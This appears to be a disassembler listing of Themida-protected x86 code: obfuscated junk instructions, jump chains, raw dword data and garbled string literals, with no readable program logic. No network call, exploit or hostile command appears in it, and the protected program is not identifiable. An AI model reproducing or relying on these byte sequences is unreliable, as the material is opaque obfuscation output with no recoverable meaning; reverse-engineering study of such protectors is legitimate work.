		mov	ebx, 69A17D1Fh
		jmp	loc_56B9FF
; ---------------------------------------------------------------------------
		dd 0FF240C89h, 59042474h, 8B24048Fh, 8B662424h,	0E9562404h
		dd 8336h, 5C24048Fh, 0FF2434FFh, 34FF2434h, 0A352E924h
		dd 0DF890000h, 0F26BE9h, 0D4EE8100h, 0E94C343Ch, 11A10h
		dd 42474FFh, 24048F58h,	2424895Ch, 23BD5553h, 0E950614Bh
		dd 0A39Ch, 354C7DB9h, 59CA012Eh, 0A25EE9h, 7EC58100h, 2940BB53h
		dd 7EED81CDh, 5940BB53h, 5164C681h, 0EE013398h,	5164EE81h
		dd 0E95D3398h, 0FFFFF6DAh, 4EC81h, 2C890000h, 68E58924h
		dd 22A8h, 0BF243C89h, 4, 0E95FFD01h, 0A981h, 503768h, 243C8900h
		dd 0A2A1E9h, 0C895C00h,	0E9515324h, 129Dh
; ---------------------------------------------------------------------------


loc_560DD8:				; CODE XREF: Themida_:0055DBFEj
		push	ebx
		mov	ebx, 6BAB1204h
		add	edx, ebx
		jmp	loc_570BA2
; ---------------------------------------------------------------------------
		db 0BDh, 0F5h, 5Fh
		dd 0DDF72260h, 0C581D5F7h, 5195296Bh, 0EA63C581h, 0EA29EA24h
		dd 0FACA815Dh, 0E9036F0Fh, 4249h, 3BE1EF81h, 0FB29E902h
		dd 7BEB815Fh, 8B57C32Dh, 0C4812404h, 4,	81E38953h, 4C3h
		dd 4EB8100h, 53000000h,	42474FFh, 83241C8Bh, 48F04C4h
		dd 0E4CBE924h, 0E6C1FFFFh, 44F68106h, 18B8000h,	24348BF2h
		dd 0E904C483h, 0A955h, 8324348Bh, 0BE904C4h, 5500005Fh
		dd 0FFDAA0E9h, 0E0C15EFFh, 2C370D05h, 0E0D17C78h, 1F52C20Dh
		dd 93BF5750h, 0E937FB18h, 0EFC7h, 5E2434FFh, 2C8B5455h
		dd 4C48124h, 81000000h,	4C5h, 4C58100h,	87000000h, 8F5C242Ch
		dd 0CEE92404h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560EAB:				; CODE XREF: Themida_:005692FAj
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_56613F
; ---------------------------------------------------------------------------
		db 83h
		dd 0E4E904C4h, 81000034h, 4C4h,	246C8100h, 0E7261C04h
		dd 24448144h, 5D565D04h, 68C3E919h, 815E0000h, 2A08F2F6h
		dd 5EF1897Dh, 8151D129h, 7CAB2434h, 815A531Eh, 1E7CABF2h
		dd 0E999E953h, 472DFFFFh, 59169A71h, 5B0CBA52h,	2EE9796Ah
		dd 81FFFFE8h, 609B93F5h, 5DE921A1h, 19E98141h, 51CBE42Bh
		dd 240C8B5Ah, 4C481h, 0EC830000h, 24148904h, 5A2414F7h
		dd 7356F281h, 0C2814C5Fh, 7F6FA3ACh, 0CBE6E9h
		db 0
; ---------------------------------------------------------------------------


loc_560F41:				; CODE XREF: Themida_:0056A4DAj
		add	ecx, eax
		jmp	loc_56758B
; ---------------------------------------------------------------------------
		dd 731EBA52h, 0E2C12E4Eh, 0C8C28103h, 0E969BF7Dh, 69D4h
		dd 240C3358h, 33240C31h, 76E9240Ch, 83000021h, 1C8904ECh
		dd 75E95424h, 89000034h, 98682424h, 8900004Ah, 4BD242Ch
		dd 1000000h, 8B04246Ch,	0B2E9242Ch, 1000073h, 93EE81FEh
		dd 5F04FF57h, 8704C683h, 61E92434h
		db 1Bh,	1, 0
; ---------------------------------------------------------------------------


loc_560FA7:				; CODE XREF: Themida_:00565284j
		mov	[esp], ebp
		push	edi
		jmp	loc_55DF79
; ---------------------------------------------------------------------------
		dd 3920F381h, 0DEE904AAh
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------


loc_560FBB:				; CODE XREF: Themida_:00564F9Ej
		sub	ebp, 61F869C4h
		add	ebp, edi
		push	edx
		push	ebx
		mov	ebx, 45153750h
		dec	ebx
		jmp	loc_55DA27
; ---------------------------------------------------------------------------
		dd 4BAh, 50C38100h, 171C859h, 0F6B1E9D3h, 665CFFFFh, 991FC181h
		dd 59CE8966h, 95BF6657h, 1CEAE902h, 0C4810000h,	4, 0B2DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_561001:				; CODE XREF: Themida_:0056C4A0j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56D77C
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 0EA685C24h, 89000029h, 0E0892404h
		dd 405h, 31E95200h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56102B:				; CODE XREF: Themida_:0056C603j
		add	esp, 4
		jmp	loc_55DF67
; ---------------------------------------------------------------------------


loc_561036:				; CODE XREF: Themida_:00572A40j
		add	dword ptr [esp+4], 5CBF3F6Eh
		jmp	loc_565A6F
; ---------------------------------------------------------------------------


loc_561043:				; CODE XREF: Themida_:00567BA3j
		or	eax, eax
		jnz	loc_563244
		sub	esp, 4
		jmp	loc_568DFA
; ---------------------------------------------------------------------------
		dw 5F5Eh
		dd 0E953DA01h, 8440h, 0B2621C35h, 7E8C155h, 1C08340h, 3E6F3540h
		dd 54E900F1h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_561077:				; CODE XREF: Themida_:00560208j
		push	ebx
		push	edi
		mov	edi, 4F050FF0h
		dec	edi
		sub	edi, 42310AAAh
		jmp	loc_56635F
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 55C20104h, 635D47BDh, 5DEA2923h, 0CDEA8158h,	0E942657Eh
		dd 8694h, 7FF968h, 242C8900h, 4393E954h, 0C890000h, 4B924h
		dd 0EC830000h, 5AC3E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5610C2:				; CODE XREF: Themida_:00567D74j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	ecx, 6
		push	ebp
		mov	ebp, ebx
		push	7D15h
		mov	[esp], ebp
		jmp	loc_569FFD
; ---------------------------------------------------------------------------
		db 0C0h
		dd 536604EDh, 0FD30E7B7h, 7E685B66h, 8900005Ah,	86E9241Ch
		dd 5700010Dh, 4BFh, 24448100h, 22309A04h, 246C8112h, 17094F04h
		dd 247C0131h, 4FBD5504h, 1311709h, 0FF08246Ch, 815D2434h
		dd 4C4h, 9AB95100h, 29122230h, 0E908244Ch, 0EFCEh, 0F1B5515Ah
		dd 7BFCE9h
		db 0
; ---------------------------------------------------------------------------


loc_56113D:				; CODE XREF: Themida_:00562A14j
		mov	dh, 0CDh
		sub	dh, 22h
		sub	al, dh
		mov	dx, [esp]
		push	ebp
		jmp	loc_5602DA
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 4245C01h,	53515A5Bh, 0DE603FBBh, 2AE38172h, 816B7214h
		dd 993B93F3h, 0C560E93Eh, 0D829FFFFh, 6411EC05h, 4EC8301h
		dd 50241489h, 6C496855h, 90E92188h, 520000F2h, 0B1338FBAh
		dd 89EA8179h, 0E9185242h, 0FFFFF99Bh
; ---------------------------------------------------------------------------


loc_56119C:				; CODE XREF: Themida_:005658B6j
		xor	ebx, eax
		pop	eax
		and	ebx, 660F09A3h
		shl	ebx, 5
		not	ebx
		jmp	loc_56BC72
; ---------------------------------------------------------------------------
		db 57h
		dd 3D4D22BFh, 2DE95732h, 51000114h, 0C888F988h,	56240C8Bh
		dd 2355E9h
		db 0
; ---------------------------------------------------------------------------


loc_5611C9:				; CODE XREF: Themida_:00565987j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 57F22A9Fh
		push	ecx
		jmp	loc_55DB4D
; ---------------------------------------------------------------------------
		dd 89240489h, 0B85056E0h, 46C42137h, 3BDECDBEh,	58C601B9h
		dd 1E9F001h, 10000F5h, 2434FFD3h, 4C4815Ah, 51000000h
		dd 4B9h, 0DCC38100h, 146614Ch, 0DCEB81CBh, 5946614Ch, 8B241C87h
		dd 34FF2424h, 0AC27E924h, 0C5810000h, 10755E18h, 242C3359h
		dd 33242C31h, 248B242Ch, 0C83B6624h, 0C0A7E99Ch, 0C483FFFFh
		dd 4C18104h, 33000000h,	0C31240Ch, 240C3324h, 8B24248Bh
		dd 0DE682414h, 8900001Eh, 0B3E9241Ch, 660000F5h, 6824048Bh
		dd 3301h, 6ECBE9h
		db 0
; ---------------------------------------------------------------------------


loc_561279:				; CODE XREF: Themida_:0055E3E6j
		pop	edi
		jmp	loc_56D8F5
; ---------------------------------------------------------------------------
		db 81h
		dd 2860CDE9h, 8BF18116h, 293064A5h, 0EB8159CBh,	493E27C6h
		dd 0F0A3E9h, 0D8016600h, 241C8B66h, 0FFF106E9h,	24348BFFh
		dd 4C481h, 0FB290000h, 56243C8Bh, 0C681E689h, 4, 8704C683h
		dd 335C2434h, 1C31241Ch, 241C3324h, 8924248Bh, 0EC81240Ch
		dd 4, 642BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5612DD:				; CODE XREF: Themida_:0056AC61j
		push	esi
		mov	esi, 1DB4108Dh
		sub	esi, 0D44EF9D2h
		jmp	loc_560A0B
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 7D74F77h, 4B02EBC1h,	0ECE9D3F7h
		db 0Dh,	1, 0
; ---------------------------------------------------------------------------


loc_5612FF:				; CODE XREF: Themida_:00560C67j
		push	ebp
		push	3CBD135Dh
		jmp	loc_563144
; ---------------------------------------------------------------------------
		dw 489h
		dd 4EC8124h, 0E9000000h, 0AC36h
; ---------------------------------------------------------------------------


loc_561318:				; CODE XREF: Themida_:0056A3CFj
		mov	eax, 3B857007h
		push	edi
		mov	edi, 311526FFh
		add	edi, 37E8655Ch
		add	edi, 0EEE1B9E3h
		add	ebx, edi
		pop	edi
		jmp	loc_55DC0C
; ---------------------------------------------------------------------------
		db 80h
		dd 0CCFE62F4h, 8007E4C0h, 7AE992F4h, 66000055h,	81240C8Bh
		dd 4ECh, 24348900h, 1622E954h, 31AD0000h, 4EC83D8h, 49D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_561365:				; CODE XREF: Themida_:005671A5j
		push	esi
		mov	esi, esp
		jmp	loc_56BF3B
; ---------------------------------------------------------------------------
		db 31h,	0C7h, 58h
		dd 6BB2F781h, 0EF814B62h, 3FD105FBh, 780C68h, 24048900h
		dd 0B22355B8h, 58C70960h, 244868h, 242C8900h, 546C64BDh
		dd 77CD8103h, 451E6E27h, 0E908E5C1h, 0C8ADh, 0AA7B17BFh
		dd 0C781475Bh, 0C65B389h, 5B5FF901h, 4C181h, 24680000h
		dd 89000015h, 74FF240Ch, 0C8B0424h, 144FE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5613D2:				; CODE XREF: Themida_:00566AEBj
		mov	al, 4Fh
		mov	ch, 4Dh
		xor	ch, al
		pop	eax
		or	ah, ch
		mov	cx, [esp]
		add	esp, 2
		push	edx
		jmp	loc_56C717
; ---------------------------------------------------------------------------
		dd 2404335Eh, 0E9240431h, 10519h, 5EF2015Bh, 68E68956h
		dd 7C5Eh, 0B8240489h, 80B591Eh,	2503E0C1h, 0BA32A53h, 2085435h
		dd 58C60100h, 3304EE83h, 0E4E92434h, 0B900003Fh, 1B3750DBh
		dd 37E887B8h, 59C8013Dh, 373FE9h, 0E930FF00h, 0FFFFBEB1h
; ---------------------------------------------------------------------------


loc_56143C:				; CODE XREF: Themida_:0056DEB5j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	ebp
		push	eax
		mov	eax, 62593AC1h
		push	edi
		mov	edi, 674715BFh
		mov	ebp, edi
		pop	edi
		add	ebp, 0FB12A502h
		xor	ebp, eax
		mov	eax, [esp]
		push	eax
		push	4E3Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	ebp
		push	50B0h
		jmp	loc_569562
; ---------------------------------------------------------------------------


loc_56147C:				; CODE XREF: Themida_:00564DD7j
		push	eax
		push	ebx
		mov	ebx, ecx
		mov	eax, ebx
		pop	ebx
		jmp	loc_55F6CA
; ---------------------------------------------------------------------------


loc_561488:				; CODE XREF: Themida_:0056B0BEj
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_56F15D
; ---------------------------------------------------------------------------


loc_56149A:				; CODE XREF: Themida_:00563978j
		add	esi, 88ACB48Ch
		add	edx, esi
		jmp	loc_55F1D9
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 67FCh, 54241C89h,	0E9241C8Bh, 3Ch
; ---------------------------------------------------------------------------


loc_5614BC:				; CODE XREF: Themida_:00565D9Cj
		add	edi, ebx
		pop	ebx
		mov	ecx, 0D8A065Dh
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5682DC
; ---------------------------------------------------------------------------
aWLbkevsj	db 'W©▀b┼eVИjэ',0
		db 0
; ---------------------------------------------------------------------------


loc_5614DD:				; CODE XREF: Themida_:00563747j
		add	ebx, 770E4078h
		sub	ebx, edx
		sub	ebx, 770E4078h
		push	72EBh
		mov	[esp], eax
		jmp	loc_5615D9
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 53E08924h,	4BBh, 0E9D80100h, 2060h
		dd 68242C89h, 5F7Ch, 842DE9h, 58F18100h, 0C150511Ah, 0F18107E1h
		dd 0B193BA7Eh, 8159CD21h, 373023EDh, 8BEE31E4h,	0C483242Ch
		dd 8BF30104h, 0C4832434h, 4C38304h, 26D6E9h, 0B8E95200h
		dd 5200010Eh, 0D389FA89h, 87DE95Ah
		db 1, 0
; ---------------------------------------------------------------------------


loc_56155E:				; CODE XREF: Themida_:0056A22Ej
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56A8AC
; ---------------------------------------------------------------------------
aSOsr		db 'юХ',7,',oИ░{',0
		dd 0C6815C00h, 4, 0E9243487h, 0C0FBh
; ---------------------------------------------------------------------------


loc_561580:				; CODE XREF: Themida_:005628F1j
		xor	edi, 310D1602h
		add	edi, 0F0A9299h
		add	ecx, edi
		pop	edi
		sub	ecx, 70350BD2h
		pop	edi
		add	eax, [ecx]
		pop	ecx
		jmp	loc_56360C
; ---------------------------------------------------------------------------


loc_56159E:				; CODE XREF: Themida_:00560459j
		sub	esp, 4
		jmp	loc_56A4F4
; ---------------------------------------------------------------------------
		db 68h,	58h, 24h
		dd 66E90000h, 5E0000E9h, 8704EB83h, 30E9241Ch, 57FFFFC0h
		dd 94F01BFh, 6FE9576Ch,	100001Bh, 81E958C1h, 570000DFh
		dd 0E461E9h
		db 0
; ---------------------------------------------------------------------------


loc_5615D9:				; CODE XREF: Themida_:005614F3j
		mov	eax, 690635EBh
		sub	ebx, eax
		pop	eax
		pop	edx
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	313Eh
		mov	[esp], ebx
		jmp	loc_56D077
; ---------------------------------------------------------------------------
		dw 5453h
		dd 1744E9h, 4C38100h, 52000000h, 4BAh, 1EC38100h, 29250A4Bh
		dd 0A0BD55D3h, 0C17D970Ch, 0E94503E5h, 0BDE9h, 16CE981h
		dd 0E9811D7Ah, 8EAF8698h, 24048151h, 152D224Eh,	4EED815Dh
		dd 59152D22h, 34E9DD01h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561647:				; CODE XREF: Themida_:0056EAFBj
		xor	ah, bh
		jmp	loc_56BC64
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 8904EC83h, 85E92404h, 5E000102h, 0FFC9BCE9h,	37E950FFh
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561667:				; CODE XREF: Themida_:0056A720j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	46A3h
		mov	[esp], ebp
		push	edx
		push	edi
		jmp	loc_55D611
; ---------------------------------------------------------------------------
		db 89h
		dd 0E6B5240Ch, 0C78004B7h, 80EF2800h, 45900EFh,	0ED6FE9ABh
		dd 87490000h, 87D7F7F9h, 0F7D9F7F9h, 24F181D9h,	819F388Dh
		dd 0A5509BEAh, 81CA011Bh, 0A5509BC2h, 0CC77E91Bh, 34810000h
		dd 142EF124h, 0B8505D01h, 1142EF1h, 5E58C531h, 0F581DDF7h
		dd 849595ABh, 0E7E7E9h,	2434FF00h, 35E95358h, 5F000008h
		dd 0E9E38953h, 0ACEAh
; ---------------------------------------------------------------------------


loc_5616EC:				; CODE XREF: Themida_:00566140j
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_5690D9
; ---------------------------------------------------------------------------
		dd offset dword_5AD300
		dd 1FFE9CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561702:				; CODE XREF: Themida_:00560B72j
		mov	[esp], ecx
		jmp	loc_5660FE
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 241C8904h, 0DBE9E389h, 680000A3h, 5598h
		dd 68243C89h, 71A630AEh, 14F7575Fh, 546AE924h, 14890000h
		dd 2BA24h, 82E90000h, 0BAFFFFD3h, 744E3784h, 0D108EAC1h
		dd 0A5EA81E2h, 4A29255Eh, 0FF52D2F7h, 815A2404h, 0FEE45EAh
		dd 5AD7312Bh, 3C8BFA31h, 4C48324h, 9426C281h, 0D72993F5h
		dd 3D4AE9h, 24048B00h, 104C483h, 0BFC1E9FDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561782:				; CODE XREF: Themida_:00571E2Ej
		add	ebp, 0E8DC18AEh
		sub	esi, ebp
		pop	ebp
		inc	esi
		jmp	loc_562C6A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 89575724h, 4C781E7h,	83000000h, 3C8704EFh, 0EEE95C24h
		dd 89FFFFC6h, 4C781E7h,	83000000h, 3C8704C7h, 0EB805C24h
		dd 78B252CAh, 0E292E9h,	19BF5700h, 4F534F74h, 0CF81DFF7h
		dd 144942F7h, 9318E9h, 4BB00h, 0DA010000h, 2414875Bh, 1010AE9h
		dd 4C48300h, 19C4E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5617F2:				; CODE XREF: Themida_:005707ECj
		xor	ebp, 9D4B1B44h
		jmp	loc_563FA9
; ---------------------------------------------------------------------------


loc_5617FD:				; CODE XREF: Themida_:00564CD0j
		add	dword ptr [esp], 4F9C2D39h
		mov	eax, [esp]
		jmp	loc_5659F8
; ---------------------------------------------------------------------------
		dd 89240489h, 3CBB53E0h, 0F75B0F06h, 3E3C1D3h, 81434B4Bh
		dd 0ADB2B0F3h, 0EBC14B40h, 0E9EBD105h, 0DD2Eh, 0E904EEC1h
		dd 0FFFFF60Ah, 5529CB81h, 0C3814ACDh, 7D0626A2h, 0F8C3814Bh
		dd 18809F9h, 2C875BDDh,	0E629E924h, 71B80000h, 527DB440h
		dd 0FFE191E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561861:				; CODE XREF: Themida_:00570D27j
		sub	ebp, 21FF77ABh
		add	ecx, 44847EACh
		add	ecx, ebp
		sub	ecx, 44847EACh
		pop	ebp
		push	eax
		mov	eax, 10384935h
		and	eax, 6A890723h
		push	edi
		push	esi
		mov	esi, 3FAC5E02h
		mov	edi, 57C67775h
		sub	edi, esi
		pop	esi
		and	eax, edi
		pop	edi
		xor	eax, 4F421630h
		push	5F97h
		mov	[esp], edx
		mov	edx, 7B9A2477h
		push	ebp
		mov	ebp, 49AC1735h
		sub	ebp, 75FC2497h
		jmp	loc_570680
; ---------------------------------------------------------------------------
		dw 0A68h
		dd 0E9215470h, 0FFFFC147h, 0F707EFC1h, 0DEEF81DFh, 0B9EDBB3Ch
		dd 4C4C2776h, 835FF901h, 0F18101C1h, 63A63637h,	106F181h
		dd 81513EF9h, 5E4D2404h, 2C8B5D7Fh, 4C48124h, 0E9000000h
		dd 0D683h, 0CAFEE0B2h, 234E9h, 9BE95000h, 0AC00010Ch, 0E9E68956h
		dd 0A9BCh, 3462C281h, 17E94F7Dh, 8900001Ah, 0E2892414h
		dd 732468h, 240C8900h, 205768h,	242C8900h, 4BDh, 0BA525500h
		dd 72D76FE3h, 87E3E9h, 3DB95100h, 0E964A557h, 0FFFFFCD8h
; ---------------------------------------------------------------------------


loc_56194C:				; CODE XREF: Themida_:0056306Dj
		push	ebp
		mov	ebp, 499147DEh
		jmp	loc_5628BE
; ---------------------------------------------------------------------------
		db 59h
		dd 4EC8358h, 0B5240C89h, 0BBED8057h, 0E959EB08h, 7FBBh
		dd 0F580DDF6h, 3ED800Ah, 80B4F580h, 0C58099F5h,	4DB3530Bh
		dd 0F3E9CBFEh, 83FFFFE1h, 0C13104C4h, 61FD2D58h, 0D3E94815h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_561997:				; CODE XREF: Themida_:0056F6B7j
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		inc	ecx
		add	ecx, 0C43A8E53h
		jmp	loc_56A587
; ---------------------------------------------------------------------------


loc_5619AB:				; CODE XREF: Themida_:00567854j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_571AB2
; ---------------------------------------------------------------------------
		dw 535Ah
		dd 0DDBE5651h, 56700F10h, 0F5240481h, 59233504h, 4F5E981h
		dd 575E2335h, 0E5479EBFh, 0C05EE93Dh, 3C87FFFFh, 24248B24h
		dd 0E904C483h, 9E07h, 8904EC83h, 8BE9241Ch, 51000103h
		dd 0D72537B9h, 7DF18157h, 15E3876h, 0C68159CEh,	245B34C9h
		dd 0EE81FE29h, 245B34C9h, 534AEE81h, 15F09EFh, 0E4C681EEh
		dd 8B1F7554h, 5457242Ch, 4C7815Fh, 0E9000000h, 706Fh, 815EF729h
		dd 191F2DC2h, 81FA2937h, 191F2DEAh, 0FCE95F37h,	81000082h
		dd 42404h, 515A0000h, 0FFE95EE9h, 57F681FFh, 8115F031h
		dd 1C53F0F6h, 3BEE8114h, 812D2576h, 0FFD100EEh,	8688E908h
		dd 0C8B0000h, 0ABC0E924h, 49BB0000h, 4B24C91Ch,	0C381DBF7h
		dd 7F1F1FE2h, 2092F381h, 0D90171A8h, 0FCBFE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561AA6:				; CODE XREF: Themida_:0056C104j
		mov	[esp], ebx
		mov	ebx, 24h
		jmp	loc_56F76C
; ---------------------------------------------------------------------------
		db 0F7h
aS_5		db 'вИф╟',0
		align 2
		dw 0C181h
		dd 70AF46CAh, 8106E9C1h, 7D7D0AC1h, 246C81FCh, 2501C004h
		dd 244C014Dh, 24448104h, 2501C004h, 1C8B594Dh, 0E2895224h
		dd 4C281h, 0DEE90000h, 54000041h, 4C2815Ah, 53000000h
		dd 268h, 0BF575B00h, 0CE93AF9h,	4FF5BA52h, 0D729319Bh
		dd 11C7815Ah, 81299191h, 8C36A0C2h, 0D774E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561B1E:				; CODE XREF: Themida_:0056F2BFj
		pop	esp
		jmp	loc_56B561
; ---------------------------------------------------------------------------
aSsek		db 'SИ┘┼',0
		align 2
		dw 0B753h
		dd 39F7809Ah, 4B0E9h, 0D5E28000h, 204DC280h, 20E7E9D4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561B42:				; CODE XREF: Themida_:00570245j
		pop	esi
		jmp	loc_56A436
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 4903h, 0A8E9F801h, 2DFFFFC4h, 786E7EF1h
		dd 7666E9h, 0BE565100h,	36326635h, 515EF189h, 0EC83595Fh
		dd 24048904h, 1B8h, 6537E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561B7E:				; CODE XREF: Themida_:005710FFj
		add	dword ptr [esp], 2D1470AFh
		mov	eax, [esp]
		jmp	loc_57030B
; ---------------------------------------------------------------------------
		db 46h,	81h, 0F6h
		dd 39880885h, 315EF331h, 0F5815BDDh, 76975D3h, 5305E5C1h
		dd 4764C6BBh, 5BDD3192h, 2C8BEF01h, 0CC31E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561BB6:				; CODE XREF: Themida_:0056D3DBj
		sub	esp, 4
		jmp	loc_56B8F9
; ---------------------------------------------------------------------------


loc_561BBE:				; CODE XREF: Themida_:0056FD22j
		xor	ebp, 1F39771Ch
		shl	ebp, 4
		dec	ebp
		sub	ebp, 0A1D1D96Ah
		push	eax
		mov	eax, 7D97237Ah
		or	eax, 7B3448AEh
		xor	eax, 4A117B51h
		jmp	loc_562852
; ---------------------------------------------------------------------------


loc_561BE3:				; CODE XREF: Themida_:0056C099j
		push	50F06C11h
		mov	edx, [esp]
		jmp	loc_56913B
; ---------------------------------------------------------------------------
		dd 0E943DBF7h, 0FFFFF3B8h, 0BDE9E089h, 66FFFFD4h, 0E924248Bh
		dd 0FFFFB6E5h, 8304C483h, 0DAE904C4h, 5AFFFFB6h, 5C240C87h
		dd 0F785E9h, 556800h, 11E90000h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561C27:				; CODE XREF: Themida_:00569B1Aj
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_564AC3
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 44h
		dd 52424A41h, 0FFFFFFBAh, 5AD629FFh, 0C9B2E9h, 0E3895300h
		dd 7C5EBE56h, 0D6F77DF0h, 0FFDDA9E9h, 2ABB53FFh, 814C0F55h
		dd 826602E3h, 0C5EB8143h, 81581243h, 0FC0E9CF3h, 0F7D3F76Ch
		dd 5B88E9DBh, 9CBE0000h, 311B0F00h, 0E9535EF3h,	0C5E5h
		dd 8904EC83h, 4DB9240Ch, 217B2E0Eh, 240C8BCEh, 0E95E5456h
		dd 0FFFFCB25h
; ---------------------------------------------------------------------------


loc_561CA0:				; CODE XREF: Themida_:005700FDj
		mov	esi, 2E31154Eh
		neg	esi
		sub	esi, 0FFFFFFFFh
		inc	esi
		not	esi
		add	esi, 0D3AD2639h
		jmp	loc_570160
; ---------------------------------------------------------------------------
		db 81h
		dd 3871DDC5h, 0E416E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561CC6:				; CODE XREF: Themida_:00563E51j
		push	3DFFh
		jmp	loc_56FD07
; ---------------------------------------------------------------------------
		dd 21F1C381h, 0F968348Fh, 0E900007Eh, 0F93Dh, 0E9240C87h
		dd 6540h
; ---------------------------------------------------------------------------


loc_561CE8:				; CODE XREF: Themida_:00564770j
		add	esp, 4
		push	1CD4h
		jmp	loc_56B589
; ---------------------------------------------------------------------------


loc_561CF8:				; CODE XREF: Themida_:0056622Bj
		or	cl, 2Eh
		xor	cl, 4Ah
		add	dl, cl
		pop	ecx
		sub	dl, 1Fh
		xor	ah, dl
		mov	edx, [esp]
		add	esp, 4
		sub	ah, 0FFh
		sub	ah, 85h
		sub	ah, 7
		add	bl, 0FCh
		sub	bl, ah
		sub	bl, 0FCh
		mov	eax, [esp]
		add	esp, 4
		sub	bl, cl
		push	edx
		mov	dl, 0BEh
		xor	dl, 0B0h
		or	dl, 2
		shl	dl, 3
		push	ecx
		mov	cl, 97h
		jmp	loc_570F9D
; ---------------------------------------------------------------------------
aYscc		db '[YИ≈Ф',0
		dw 5F00h
		dd 0E824E9h, 96E38100h,	0F71DB777h, 0D7C381DBh,	8142AC53h
		dd 0A2157F3h, 0E9DD0136h, 2C8Ch, 0E9241C89h, 5E9Bh, 17C2814Ah
		dd 81027929h, 0FFFFFFC2h, 0F7D2F7FFh, 9BF281D2h, 0E9A5749Eh
		dd 7C2Dh
; ---------------------------------------------------------------------------


loc_561D88:				; CODE XREF: Themida_:0056B039j
		sub	esp, 4
		jmp	loc_567A28
; ---------------------------------------------------------------------------


loc_561D90:				; CODE XREF: Themida_:0056A766j
		add	eax, 4
		push	ebx
		push	edi
		mov	edi, 46850A66h
		neg	edi
		jmp	loc_56B703
; ---------------------------------------------------------------------------
		db 81h
		dd 0B22660CDh, 70ED8102h, 812AC065h, 0FED8FCEDh, 5DEE892Bh
		dd 7B26E9h, 4C68100h, 0E9000000h, 95C4h, 8124348Bh, 4C4h
		dd 17BA5200h, 8125CD3Dh, 0A04839F2h, 0B4BF5700h, 0E957BA2Bh
		dd 0F87Dh, 4247429h, 0B4FBE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561DF2:				; CODE XREF: Themida_:0056EA6Bj
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 74EF1307h
		not	ebp
		or	ebp, 4E9C5541h
		xor	ebp, 2BB44846h
		push	1796h
		mov	[esp], ebx
		mov	ebx, 39E32AADh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_55DD77
; ---------------------------------------------------------------------------
		db 89h
		dd 81515AD1h, 7D2F2404h, 815A6C10h, 107D2FEAh, 7868596Ch
		dd 89000027h, 0B8502434h, 416F0FCDh, 0B93E750Dh, 386051Fh
		dd 0F9051BACh, 35132E7Fh, 0D936B0ADh, 0E958C689h, 0FFFFD4EEh
; ---------------------------------------------------------------------------


loc_561E64:				; CODE XREF: Themida_:0056F4A8j
		mov	ebx, 5C971567h
		jmp	loc_5606FA
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 0E9000000h, 0B405h, 392568h, 24048900h, 6E1767B8h
		dd 4BA8E96Ah, 59590000h, 4C181h, 0BE560000h, 39B431D9h
		dd 18F7EE81h, 0AAE9700Ch, 5800006Ah, 81E68956h,	4C6h, 0C257E900h
		dd 0FF54FFFFh, 34FF2434h, 59E95824h, 810000E6h,	4C2D52EEh
		dd 2CE95973h, 5B000029h, 2A65BE56h, 0E9463C77h,	10079h
		dd 8B2434FFh, 0C4832404h, 27036804h, 0C890000h,	0C601E924h
